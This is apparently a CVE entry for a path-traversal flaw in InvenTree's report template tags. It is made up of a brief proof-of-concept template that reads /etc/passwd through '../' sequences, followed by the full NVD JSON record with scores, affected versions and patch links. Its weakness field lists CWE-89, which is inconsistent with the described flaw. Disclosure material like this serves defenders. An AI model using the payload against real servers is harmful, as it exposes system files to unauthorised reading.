CVE-2026-33531

# PoC for CVE-2026-33531: InvenTree Path Traversal # Context: Malicious Report Template # The vulnerability exists in template tags like asset(), encode_svg_image(), etc. # An attacker with staff access can create/edit a report template. # Example payload to read /etc/passwd using the asset tag malicious_template = """ {% load report %} <!-- Attempting path traversal --> {% asset '../../../etc/passwd' %} """ # Note: Actual exploitation requires rendering this template within the InvenTree application context.

{"cve": {"id": "CVE-2026-33531", "sourceIdentifier": "[email protected]", "published": "2026-03-26T20:16:15.400", "lastModified": "2026-04-01T18:50:41.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InvenTree is an Open Source Inventory Management System. Prior to version 1.2.6, a path traversal vulnerability in the report template engine allows a staff-level user to read arbitrary files from the server filesystem via crafted template tags. Affected functions: `encode_svg_image()`, `asset()`, and `uploaded_image()` in `src/backend/InvenTree/report/templatetags/report.py`. This requires staff access (to upload / edit templates with maliciously crafted tags). If the InvenTree installation is configured with high access privileges on the host system, this path traversal may allow file access outside of the InvenTree source directory. This issue is patched in version 1.2.6, and 1.3.0 (or above). Users should update to the patched versions. No known workarounds are available."}, {"lang": "es", "value": "InvenTree es un Sistema de Gestión de Inventario de Código Abierto. Antes de la versión 1.2.6, una vulnerabilidad de salto de ruta en el motor de plantillas de informes permite a un usuario con nivel de personal leer archivos arbitrarios del sistema de archivos del servidor mediante etiquetas de plantilla manipuladas. Funciones afectadas: `encode_svg_image()`, `asset()` y `uploaded_image()` en `src/backend/InvenTree/report/templatetags/report.py`. Esto requiere acceso de personal (para cargar / editar plantillas con etiquetas creadas maliciosamente). Si la instalación de InvenTree está configurada con altos privilegios de acceso en el sistema anfitrión, este salto de ruta puede permitir el acceso a archivos fuera del directorio fuente de InvenTree. Este problema está parcheado en la versión 1.2.6, y 1.3.0 (o superior). Los usuarios deben actualizar a las versiones parcheadas. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:inventree_project:inventree:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.6", "matchCriteriaId": "E308BCC2-3004-4830-92B8-4462819ECD0D"}]}]}], "references": [{"url": "https://github.com/inventree/InvenTree/pull/11579", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/inventree/InvenTree/security/advisories/GHSA-rhc5-7c3r-c769", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}